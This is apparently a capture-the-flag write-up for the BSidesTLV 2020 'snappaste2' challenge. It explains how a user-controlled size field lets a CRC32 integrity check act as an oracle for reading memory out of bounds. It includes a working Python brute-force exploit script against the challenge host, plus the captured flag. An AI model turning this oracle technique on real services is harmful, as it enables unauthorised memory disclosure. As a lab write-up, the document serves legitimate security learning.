Rating:
### CRC32 Oracle
There is an integrity check of decompressed paste data.
```
// Make sure nothing went wrong
if (crc32(0, paste_received->data, paste_received->data_size) != header->data_crc32) {
throw std::runtime_error("integrity error :(");
}
```
Because data_size is user-controlled, we can make it larger than actual decompressed data, causing crc32 to calculate checksum past the data boundary.
If crc32 does not match user-supplied checksum value, service throws an error.
We can brute-forcing one byte at a time and use it as an oracle to read memory.
```
from pwn import *
import requests
import zlib
s = requests.Session()
url = "https://snappaste2.ctf.bsidestlv.com"
def is_valid(data, suffix):
data_compressed = zlib.compress(data, 9)
body = b"" + p32(0) + p32(len(data_compressed)) + p32(len(data)+len(suffix))
body += p32(zlib.crc32(data+suffix), sign="signed")
body += data_compressed
resp = s.post(url + "/paste", data=body)
return resp.status_code == 200
def pwn():
flag = "A"*37
suffix = ""
while True:
print(suffix)
for i in range(32, 128):
print(i, chr(i))
if is_valid(flag, chr(i) + suffix):
print("Valid!! ", chr(i))
suffix = chr(i) + suffix
flag = flag[:-1]
break
pwn()
# BSidesTLV2020{N3veR-Tru$t-us3R-iNput!}
```